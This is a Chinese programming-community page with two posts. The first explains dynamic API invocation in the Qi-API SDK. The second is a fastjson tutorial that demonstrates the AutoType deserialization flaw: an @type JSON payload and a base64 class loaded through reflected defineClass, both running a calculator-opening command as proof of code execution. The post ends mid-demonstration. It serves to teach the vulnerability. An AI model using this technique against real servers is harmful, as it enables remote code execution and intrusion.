编程导航SDK话题讨论

SDK

3 参与
分享

快来分享你的内容吧~

点击登录,快来和大家讨论吧~
表情
图片
话题
打卡

什么!!Qi-API接口开放平台仅需两步就可以动态调用新接口!!?😱

大家好我是柒木,想必做过接口开放平台的同学都会遇到 **`该怎么动态发布并调用新接口?`** 这个棘手的问题,这次呢就带大家带来解决这一大难题!😎 ## 相关网址导航 - [**Qi-API 后端 🏘️**](https://github.com/qimu666/qi-api) - [**Qi-API 前端 🏘**️](https://github.com/qimu666/qi-api-frontend) - **[Qi-API-SDK](https://github.com/qimu666/qi-api-sdk)** 🛠 - **[Qi-API-DOC 开发者文档 📖](https://doc.qimuu.icu/)** - **[Qi-API-SDK-demo ✔️](https://github.com/qimu666/qi-api-sdk-demo/blob/master/src/main/java/icu/qimuu/qiapisdkdemo/controller/InvokeController.java)** - **[Qi-API 接口开放平台 🔗](https://api.qimuu.icu/)在线示例网站** - **[QI-API 接口开放平台Docker容器编排方式一键部署](https://www.codefather.cn/post/1873777441621065729)** - **[API 开放平台 笔记](https://www.codefather.cn/note/1805877794735435778)** ## 发布操作步骤(仅需两步!) 1. 在接口服务(interface)项目中开发新接口 (**接口服务可以是独立的项目,但需要在网关中配置路由**) 在接口服务开发一个测试接口: ```java @GetMapping("/test") public String test(String text) { return text; } ``` <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/3VawI9t5ZLOpueip.webp" alt="image-20241231114908610" width="100%" /> 2. 开发完成后重启接口项目后,在管理员后台发布接口,就可以在线调用了!! <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/RGWNRdHnfFHBOA3X.webp" alt="image-20241231115154224" width="100%" /> 3. 在接口大厅找到并请求接口 <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/bqM2SSIBCcRPxUQW.webp" alt="image-20241231115407585" width="100%" /> 4. 恭喜发布成功!! 是不是非常简便!!实现这一功能全得意于 **[Qi-API-SDK](https://github.com/qimu666/qi-api-sdk)** 🛠 ## 实现原理 回到正题,我们看一下 **[Qi-API 接口开放平台 🔗](https://api.qimuu.icu/)** 是怎么动态调用接口的 ```java @PostMapping("/invoke") @Transactional(rollbackFor = Exception.class) public BaseResponse<Object> invokeInterface(@RequestBody InvokeRequest invokeRequest, HttpServletRequest request) { if (ObjectUtils.anyNull(invokeRequest, invokeRequest.getId()) || invokeRequest.getId() <= 0) { throw new BusinessException(ErrorCode.PARAMS_ERROR); } Long id = invokeRequest.getId(); InterfaceInfo interfaceInfo = interfaceInfoService.getById(id); if (interfaceInfo == null) { throw new BusinessException(ErrorCode.NOT_FOUND_ERROR); } if (interfaceInfo.getStatus() != InterfaceStatusEnum.ONLINE.getValue()) { throw new BusinessException(ErrorCode.PARAMS_ERROR, "接口未开启"); } // 构建请求参数 List<InvokeRequest.Field> fieldList = invokeRequest.getRequestParams(); String requestParams = "{}"; if (fieldList != null && fieldList.size() > 0) { JsonObject jsonObject = new JsonObject(); for (InvokeRequest.Field field : fieldList) { jsonObject.addProperty(field.getFieldName(), field.getValue()); } requestParams = gson.toJson(jsonObject); } Map<String, Object> params = new Gson().fromJson(requestParams, new TypeToken<Map<String, Object>>() { }.getType()); UserVO loginUser = userService.getLoginUser(request); String accessKey = loginUser.getAccessKey(); String secretKey = loginUser.getSecretKey(); try { QiApiClient qiApiClient = new QiApiClient(accessKey, secretKey); CurrencyRequest currencyRequest = new CurrencyRequest(); currencyRequest.setMethod(interfaceInfo.getMethod()); currencyRequest.setPath(interfaceInfo.getUrl()); currencyRequest.setRequestParams(params); ResultResponse response = apiService.request(qiApiClient, currencyRequest); return ResultUtils.success(response.getData()); } catch (Exception e) { throw new BusinessException(ErrorCode.SYSTEM_ERROR, e.getMessage()); } } ``` 可以看到在调用前构建了一个通用请求,将请求参数、请求方法、请求地址都传递给sdk提供的request方法,request是一个接口 接收QiApiClient客户端和一个泛型的通用请求。 ```java /** * 通用请求 * * @param qiApiClient qi api客户端 * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ <O, T extends ResultResponse> T request(QiApiClient qiApiClient, BaseRequest<O, T> request) throws ApiException; ``` CurrencyRequest通过继承BaseRequest约定参数调用接口 ```java public class CurrencyRequest extends BaseRequest<Object, ResultResponse> { private String method; private String path; /** * get方法 * * @return {@link String} */ @Override public String getMethod() { return method; } public void setMethod(String method) { this.method = method; } /** * 获取路径 * * @return {@link String} */ @Override public String getPath() { return path; } public void setPath(String path) { this.path = path; } /** * 获取响应类 * * @return {@link Class}<{@link ResultResponse}> */ @Override public Class<ResultResponse> getResponseClass() { return ResultResponse.class; } } ``` BaseRequest中通过@JsonAnyGetter将接收的参数进行转换, ```java public abstract class BaseRequest<O, T extends ResultResponse> { private Map<String, Object> requestParams = new HashMap<>(); /** * get方法 * * @return {@link RequestMethodEnum} */ public abstract String getMethod(); /** * 获取路径 * * @return {@link String} */ public abstract String getPath(); /** * 获取响应类 * * @return {@link Class}<{@link T}> */ public abstract Class<T> getResponseClass(); @JsonAnyGetter public Map<String, Object> getRequestParams() { return requestParams; } public void setRequestParams(O params) { this.requestParams = new Gson().fromJson(JSONUtil.toJsonStr(params), new TypeToken<Map<String, Object>>() { }.getType()); } } ``` 每一个继承BaseRequest都会转换,子类来明确sdk用户调用所需要传递的参数,而不是用户谁便传。 例如获取用户输入name接口,规定用户的请求和响应。用户只需要调用我们提供的方法即可完成调用 更多示例:[sdk-request-demo](https://github.com/qimu666/qi-api-sdk-demo/blob/master/src/main/java/icu/qimuu/qiapisdkdemo/controller/InvokeController.java) ```java NameRequest nameRequest = new NameRequest(); NameParams nameRequest = new NameParams(); nameRequest.setName("123"); nameRequest.setRequestParams(nameRequest); NameResponse name = apiService.getName(nameRequest); ``` ```java @Data @Accessors(chain = true) public class NameParams implements Serializable { private static final long serialVersionUID = 3815188540434269370L; private String name; } ``` ```java @Accessors(chain = true) public class NameRequest extends BaseRequest<NameParams, NameResponse> { @Override public String getPath() { return "/name"; } /** * 获取响应类 * * @return {@link Class}<{@link NameResponse}> */ @Override public Class<NameResponse> getResponseClass() { return NameResponse.class; } @Override public String getMethod() { return RequestMethodEnum.GET.getValue(); } } ``` 而CurrencyRequest类的请求参数泛型是Object类,也就是说用户可以自己传递参数,刚好我们可以在接口后台设置哪些参数可以请求,这一点实现了动态传参。 之后会调用抽象类中的request,使用模板方法构建必须的设置和检查 ```java @Slf4j @Data public abstract class BaseService implements ApiService { private QiApiClient qiApiClient; /** * 网关HOST */ private String gatewayHost = "https://gateway.qimuu.icu/api"; /** * 检查配置 * * @param qiApiClient qi api客户端 * @throws ApiException 业务异常 */ public void checkConfig(QiApiClient qiApiClient) throws ApiException { if (qiApiClient == null && this.getQiApiClient() == null) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } if (qiApiClient != null && !StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { this.setQiApiClient(qiApiClient); } } /** * 执行请求 * * @param request 请求 * @return {@link HttpResponse} * @throws ApiException 业务异常 */ private <O, T extends ResultResponse> HttpResponse doRequest(BaseRequest<O, T> request) throws ApiException { try (HttpResponse httpResponse = getHttpRequestByRequestMethod(request).execute()) { return httpResponse; } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } } /** * 通过请求方法获取http响应 * * @param request 要求 * @return {@link HttpResponse} * @throws ApiException 业务异常 */ private <O, T extends ResultResponse> HttpRequest getHttpRequestByRequestMethod(BaseRequest<O, T> request) throws ApiException { if (ObjectUtils.isEmpty(request)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求参数错误"); } String path = request.getPath().trim(); String method = request.getMethod().trim().toUpperCase(); if (ObjectUtils.isEmpty(method)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求方法不存在"); } if (StringUtils.isBlank(path)) { throw new ApiException(ErrorCode.OPERATION_ERROR, "请求路径不存在"); } if (path.startsWith(gatewayHost)) { path = path.substring(gatewayHost.length()); } log.info("请求方法:{},请求路径:{},请求参数:{}", method, path, request.getRequestParams()); HttpRequest httpRequest; switch (method) { case "GET": { httpRequest = HttpRequest.get(splicingGetRequest(request, path)); break; } case "POST": { Map<String, Object> requestParams = request.getRequestParams(); String s = JSONUtil.toJsonStr(requestParams); System.err.println(s); httpRequest = HttpRequest.post(gatewayHost + path).body(JSONUtil.toJsonStr(request.getRequestParams())); break; } default: { throw new ApiException(ErrorCode.OPERATION_ERROR, "不支持该请求"); } } return httpRequest.addHeaders(getHeaders(JSONUtil.toJsonStr(request), qiApiClient)); } /** * 获取响应数据 * * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ public <O, T extends ResultResponse> T res(BaseRequest<O, T> request) throws ApiException { if (qiApiClient == null || StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } T rsp; try { Class<T> clazz = request.getResponseClass(); rsp = clazz.newInstance(); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } HttpResponse httpResponse = doRequest(request); String body = httpResponse.body(); Map<String, Object> data = new HashMap<>(); if (httpResponse.getStatus() != 200) { ErrorResponse errorResponse = JSONUtil.toBean(body, ErrorResponse.class); data.put("errorMessage", errorResponse.getMessage()); data.put("code", errorResponse.getCode()); } else { try { // 尝试解析为JSON对象 data = new Gson().fromJson(body, new TypeToken<Map<String, Object>>() { }.getType()); } catch (JsonSyntaxException e) { // 解析失败,将body作为普通字符串处理 data.put("value", body); } } rsp.setData(data); return rsp; } /** * 拼接Get请求 * * @param request 要求 * @param path 路径 * @return {@link String} */ private <O, T extends ResultResponse> String splicingGetRequest(BaseRequest<O, T> request, String path) { StringBuilder urlBuilder = new StringBuilder(gatewayHost); // urlBuilder最后是/结尾且path以/开头的情况下,去掉urlBuilder结尾的/ if (urlBuilder.toString().endsWith("/") && path.startsWith("/")) { urlBuilder.setLength(urlBuilder.length() - 1); } urlBuilder.append(path); if (!request.getRequestParams().isEmpty()) { urlBuilder.append("?"); for (Map.Entry<String, Object> entry : request.getRequestParams().entrySet()) { String key = entry.getKey(); String value = entry.getValue().toString(); urlBuilder.append(key).append("=").append(value).append("&"); } urlBuilder.deleteCharAt(urlBuilder.length() - 1); } log.info("GET请求路径:{}", urlBuilder); return urlBuilder.toString(); } /** * 获取请求头 * * @param body 请求体 * @param qiApiClient qi api客户端 * @return {@link Map}<{@link String}, {@link String}> */ private Map<String, String> getHeaders(String body, QiApiClient qiApiClient) { Map<String, String> hashMap = new HashMap<>(4); hashMap.put("accessKey", qiApiClient.getAccessKey()); String encodedBody = SecureUtil.md5(body); hashMap.put("body", encodedBody); hashMap.put("timestamp", String.valueOf(System.currentTimeMillis() / 1000)); hashMap.put("sign", SignUtils.getSign(encodedBody, qiApiClient.getSecretKey())); return hashMap; } @Override public <O, T extends ResultResponse> T request(BaseRequest<O, T> request) throws ApiException { try { return res(request); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } } @Override public <O, T extends ResultResponse> T request(QiApiClient qiApiClient, BaseRequest<O, T> request) throws ApiException { checkConfig(qiApiClient); return request(request); } } ``` 之后就会请求对应的接口,返回数据后尝试将数据转换为规定的格式,不成功就转换为普通值 ```java * 获取响应数据 * * @param request 要求 * @return {@link T} * @throws ApiException 业务异常 */ public <O, T extends ResultResponse> T res(BaseRequest<O, T> request) throws ApiException { if (qiApiClient == null || StringUtils.isAnyBlank(qiApiClient.getAccessKey(), qiApiClient.getSecretKey())) { throw new ApiException(ErrorCode.NO_AUTH_ERROR, "请先配置密钥AccessKey/SecretKey"); } T rsp; try { Class<T> clazz = request.getResponseClass(); rsp = clazz.newInstance(); } catch (Exception e) { throw new ApiException(ErrorCode.OPERATION_ERROR, e.getMessage()); } HttpResponse httpResponse = doRequest(request); String body = httpResponse.body(); Map<String, Object> data = new HashMap<>(); if (httpResponse.getStatus() != 200) { ErrorResponse errorResponse = JSONUtil.toBean(body, ErrorResponse.class); data.put("errorMessage", errorResponse.getMessage()); data.put("code", errorResponse.getCode()); } else { try { // 尝试解析为JSON对象 data = new Gson().fromJson(body, new TypeToken<Map<String, Object>>() { }.getType()); } catch (JsonSyntaxException e) { // 解析失败,将body作为普通字符串处理 data.put("value", body); } } rsp.setData(data); return rsp; } ``` 这样就能够实现动态调用接口啦!!! <img src="https://pic.code-nav.cn/post_picture/1611320795533934593/AL6Gx3tc1AGx7a6o.webp" alt="image-20241231125721180" width="100%" />

不是,解析个JSON你给我弹出个计算器?

大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency>  <groupId>com.alibaba</groupId>  <artifactId>fastjson</artifactId>  <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        // 将对象转为JSON字符串        User user = new User();        user.setId(1L);        user.setName("gulihua");        user.setPassword("12345678");        System.out.println(JSON.toJSONString(user));   } ​    @Data    public static class User {        private Long id;        private String name;        private String password;   } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) { ​        // 将JSON字符串解析为Java对象        String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}";        User user = JSON.parseObject(jsonString, User.class);        System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword());   } ​    @Data    public static class User {        private Long id;        private String name;        private String password;   } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        List<User> userList = new ArrayList<>();        userList.add(new User(1L, "gulihua", "123456"));        userList.add(new User(2L, "xiaogu", "11111111"));        System.out.println(JSON.toJSONString(userList));   } ​    @Data    @AllArgsConstructor    public static class User {        private Long id;        private String name;        private String password;   } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]";        List<User> userList = JSON.parseArray(arr, User.class);        System.out.println(userList);   } ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        private Long id;        private String name;        private String password;   } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](![image" width="100%" /> #### 代码分析 在上面的代码中,有一段 `User user = JSON.parseObject(jsonString, User.class);`这里为什么能够直接可以把字符串转为对象呢?这是因为JSON 字段和Java对象里的字段的名称是一样的,fastjson 使用 Java 的反射 API (`java.lang.reflect`) 动态加载 `User.class` 的结构,包括字段、方法、构造器等信息。 比如当JSON里面有`name`字段时,会自动去查询对应的`setName`方法,然后将解析后的值赋给对象字段。 我们看下源码: 在Java bean 反序列化的时候,会构建Javabean信息。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/SpTWCoBqejWXuLtE.webp" alt="img](![image" width="100%" /> 我们来看下`build`方法,在调用构建的时候,里面有 4 个`for循环`,第一个`for循环`是遍历所有的链式构建器方法,第二个`for循环`是遍历所有的`setter方法`,第三个`for循环`是遍历所有的`public字段`,第四个`for循环`是遍历所有的`getter方法`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/CL7x3wvPOMrW2xr8.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/V9XuKE4p7bftCPs4.webp" alt="img](![image" width="100%" /> 比如这里第二个`for循环`,它会遍历所有方法名以 `set` 开头,如果是`boolean`类型的方法,还会通过`isXxx`进行兼容处理,然后会解析方法的元信息和关联字段,生成 `FieldInfo` 对象,添加到 `fieldList` 中。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/2keacIIhKfkXk0Q9.webp" alt="img](![image" width="100%" /> 然后通过反射将对象的字段赋值或更新,支持普通字段、Atomic 类型(如 AtomicInteger)、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    public static void main(String[] args) {        String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}";        User user = JSON.parseObject(jsonString, User.class);        System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword());   } ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        @JSONField(name = "user_id")        private Long id;        @JSONField(name = "user_name")        private String name;        @JSONField(name = "user_password")        private String password;   } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest {    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class User {        private Long id;        private String name;        private Hobbies hobbies;   } ​    public interface Hobbies { ​   } ​ ​    @Data    @AllArgsConstructor    @NoArgsConstructor    public static class football implements Hobbies {        private String club;   } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) {    User user = new User(1L, "gulihua", new football("myFootballTeam"));    System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) {    String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}";    User user = JSON.parseObject(str, User.class);    System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) {    User user = new User(1L, "gulihua", new football("myFootballTeam"));    System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) {        String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}";        User user = JSON.parseObject(json, User.class);        System.out.println(user);   } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img](![image" width="100%" /> `hobbies`这个字段被成功解析出来了。 在 `fastjson` 中,`@type` 是一个特殊的字段,主要用于反序列化时指定目标对象的实际类型。它的作用是让 JSON 数据能够直接与 Java 类建立映射关系。 我们可以看下源码: 调用`parseObject`走到这里,然后调用`JavaBeanDeserializer`里的反序列化方法`deserialze` <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dH1a9zZVWrrAorV6.webp" alt="img](![image" width="100%" /> 在解析`key = @type`时候,会走到这里,通过`value`值调用`loadClass`方法加载这个类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/YTsNoMYtJna2wn11.webp" alt="img](![image" width="100%" /> 然后根据类型名称获取了反序列化器,然后用反序列化器进行反序列化操作。之后的流程就和上面的相同了,遍历所有的`setter`方法,然后通过反射调用赋值。 这就是 fastjson 中引入`AutoType`的原因。但也正是因为这个功能,并且在设计之初安全方便考虑得不太全面,也给 fastjson 带来了很多的隐患。 ## 漏洞 因为引入了 `AutoType` 功能,fastjson 在对 JSON 字符串进行反序列化时,会读取 `@type` 字段的内容,尝试将 JSON 数据反序列化为指定的对象类型,并调用该类的 `setter/getter` 方法。基于这一特性,攻击者可以构造特定的 JSON 字符串,通过 `@type` 字段指定目标攻击类,从而实现恶意操作。 ### 弹出计算器 看下如下示例代码: 版本:fastjson 1.2.24、JDK 1.8.0\_402 代码: ```java public class OpenCalculator {    public static class Calculator {        public Calculator() throws Exception {            java.lang.Runtime.getRuntime().exec("open -a Calculator");       }   }    public static void main(String[] args) throws Exception {        String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}";        ParserConfig config = new ParserConfig();        Object obj = JSON.parseObject(s, Object.class); ​   } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](![image" width="100%" /> Fastjson:你甭管对不对,你就说快不快吧! <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/K4tB1yqxzXph1tDe.webp" alt="img](![image" width="238px" /> 其实在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。因为已经获得了远程代码执行(RCE)的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](![image" width="100%" /> 这个看到在这里,会创建一个实例对象。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6BJ9Sj9WFs3GXBBc.webp" alt="img](![image" width="100%" /> 最后会调用到这个`Calculator类`的构造方法,运行打开计算器程序的命令。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/Rvw8GXAPKan38YpH.webp" alt="img](![image" width="100%" /> 我们知道,想要直接执行打开计算器的命令,以 Mac 为例,用的是`open -a Calculator`命令,如果是使用Java 程序代码运行打开计算器,需要用到 Java 的 `java.lang.Runtime`类,调用里面的`getRuntime()`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator {    public Calculator() throws Exception {        java.lang.Runtime.getRuntime().exec("open -a Calculator");   } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);        defineClass.setAccessible(true);        byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg==");        Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length);        yyds.newInstance(); ​   } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" 